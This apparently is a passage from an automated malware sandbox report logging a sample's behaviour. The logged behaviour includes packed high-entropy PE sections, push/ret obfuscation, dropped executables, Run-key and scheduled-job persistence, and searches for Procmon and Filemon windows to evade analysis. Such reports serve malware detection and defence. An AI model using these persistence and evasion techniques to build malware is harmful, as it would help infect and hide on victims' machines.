Source: 7f3598dc65.exe.6.dr Static PE information: section name:
Source: 7f3598dc65.exe.6.dr Static PE information: section name: .idata
Source: 7f3598dc65.exe.6.dr Static PE information: section name: rfqiwnzu
Source: 7f3598dc65.exe.6.dr Static PE information: section name: lwhxfubc
Source: 7f3598dc65.exe.6.dr Static PE information: section name: .taggant
Source: random[1].exe0.6.dr Static PE information: section name:
Source: random[1].exe0.6.dr Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr Static PE information: section name: .idata
Source: random[1].exe0.6.dr Static PE information: section name:
Source: random[1].exe0.6.dr Static PE information: section name: eysgbrhc
Source: random[1].exe0.6.dr Static PE information: section name: qcadwkiz
Source: random[1].exe0.6.dr Static PE information: section name: .taggant
Source: 606111e8b5.exe.6.dr Static PE information: section name:
Source: 606111e8b5.exe.6.dr Static PE information: section name: .rsrc
Source: 606111e8b5.exe.6.dr Static PE information: section name: .idata
Source: 606111e8b5.exe.6.dr Static PE information: section name:
Source: 606111e8b5.exe.6.dr Static PE information: section name: eysgbrhc
Source: 606111e8b5.exe.6.dr Static PE information: section name: qcadwkiz
Source: 606111e8b5.exe.6.dr Static PE information: section name: .taggant
Source: RIT5CLJSOG1HZLWAHXIC60.exe.8.dr Static PE information: section name:
Source: RIT5CLJSOG1HZLWAHXIC60.exe.8.dr Static PE information: section name: .idata
Source: RIT5CLJSOG1HZLWAHXIC60.exe.8.dr Static PE information: section name: fbnfxrsu
Source: RIT5CLJSOG1HZLWAHXIC60.exe.8.dr Static PE information: section name: rjcetyim
Source: RIT5CLJSOG1HZLWAHXIC60.exe.8.dr Static PE information: section name: .taggant
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr Static PE information: section name:
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr Static PE information: section name: .idata
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr Static PE information: section name:
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr Static PE information: section name: baulhwjg
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr Static PE information: section name: nnowpgbr
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr Static PE information: section name: .taggant
Source: CR7UQWGVREF7AZUSI54N0N8MGR.exe.16.dr Static PE information: section name:
Source: CR7UQWGVREF7AZUSI54N0N8MGR.exe.16.dr Static PE information: section name: .idata
Source: CR7UQWGVREF7AZUSI54N0N8MGR.exe.16.dr Static PE information: section name: fbnfxrsu
Source: CR7UQWGVREF7AZUSI54N0N8MGR.exe.16.dr Static PE information: section name: rjcetyim
Source: CR7UQWGVREF7AZUSI54N0N8MGR.exe.16.dr Static PE information: section name: .taggant
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr Static PE information: section name:
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr Static PE information: section name: .idata
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr Static PE information: section name:
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr Static PE information: section name: baulhwjg
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr Static PE information: section name: nnowpgbr
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010DEFA4 push cs; ret 0_3_010DEFCE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010DEFA4 push cs; ret 0_3_010DEFCE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010DEFA4 push cs; ret 0_3_010DEFCE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010DEFA4 push cs; ret 0_3_010DEFCE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010DEFA4 push cs; ret 0_3_010DEFCE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010DEFA4 push cs; ret 0_3_010DEFCE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010F3330 push cs; ret 0_3_010F335A
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010F3330 push cs; ret 0_3_010F335A
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010F5F7A push ecx; retf 0_3_010F5FA0
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010F5F7A push ecx; retf 0_3_010F5FA0
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010F60FA push edx; retf 0_3_010F60FE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010F60FA push edx; retf 0_3_010F60FE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010F3330 push cs; ret 0_3_010F335A
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010F3330 push cs; ret 0_3_010F335A
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010F5F7A push ecx; retf 0_3_010F5FA0
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010F5F7A push ecx; retf 0_3_010F5FA0
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010F60FA push edx; retf 0_3_010F60FE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010F60FA push edx; retf 0_3_010F60FE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010DEFA4 push cs; ret 0_3_010DEFCE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010DEFA4 push cs; ret 0_3_010DEFCE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010DEFA4 push cs; ret 0_3_010DEFCE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_010DEFA4 push cs; ret 0_3_010DEFCE
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Code function: 4_2_011694F3 push ecx; mov dword ptr [esp], 7FF74743h 4_2_01169522
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Code function: 4_2_00FDE6E5 push 2B9AFCECh; mov dword ptr [esp], edx 4_2_00FDEE2F
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Code function: 4_2_00FDE6E5 push ebp; mov dword ptr [esp], esi 4_2_00FDF2C4
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Code function: 4_2_01176F90 push eax; mov dword ptr [esp], 7B4625C4h 4_2_0117965F
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Code function: 4_2_01176FFB push 76B200ACh; mov dword ptr [esp], ebp 4_2_01177C7C
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Code function: 4_2_00FE08FC push ecx; mov dword ptr [esp], edx 4_2_00FE2336
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Code function: 4_2_00FDC0F7 push eax; mov dword ptr [esp], edi 4_2_00FDC0FE
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Code function: 4_2_0116B909 push eax; mov dword ptr [esp], 26C6BCC4h 4_2_0116BF10
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Code function: 4_2_0116C937 push edi; ret 4_2_0116C946
Source: file.exe Static PE information: section name: entropy: 7.986258913559111
Source: GVDV7NGS54W9A7T64.exe.0.dr Static PE information: section name: entropy: 7.7642385647424526
Source: AJK1SC9862O5LRO4.exe.0.dr Static PE information: section name: entropy: 7.976574023811531
Source: AJK1SC9862O5LRO4.exe.0.dr Static PE information: section name: baulhwjg entropy: 7.954109942413371
Source: skotes.exe.5.dr Static PE information: section name: entropy: 7.976574023811531
Source: skotes.exe.5.dr Static PE information: section name: baulhwjg entropy: 7.954109942413371
Source: random[1].exe.6.dr Static PE information: section name: entropy: 7.986258913559111
Source: 7f3598dc65.exe.6.dr Static PE information: section name: entropy: 7.986258913559111
Source: random[1].exe0.6.dr Static PE information: section name: eysgbrhc entropy: 7.952388640493053
Source: 606111e8b5.exe.6.dr Static PE information: section name: eysgbrhc entropy: 7.952388640493053
Source: RIT5CLJSOG1HZLWAHXIC60.exe.8.dr Static PE information: section name: entropy: 7.7642385647424526
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr Static PE information: section name: entropy: 7.976574023811531
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr Static PE information: section name: baulhwjg entropy: 7.954109942413371
Source: CR7UQWGVREF7AZUSI54N0N8MGR.exe.16.dr Static PE information: section name: entropy: 7.7642385647424526
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr Static PE information: section name: entropy: 7.976574023811531
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr Static PE information: section name: baulhwjg entropy: 7.954109942413371
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File created: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File created: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File created: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File created: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dd62608cd9.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 606111e8b5.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7f3598dc65.exe Jump to behavior
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Window searched: window name: PROCMON_WINDOW_CLASS
Creates job files (autostart)
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7f3598dc65.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7f3598dc65.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 606111e8b5.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 606111e8b5.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dd62608cd9.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dd62608cd9.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\Desktop\file.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process information set: NOOPENFILEERRORBOX
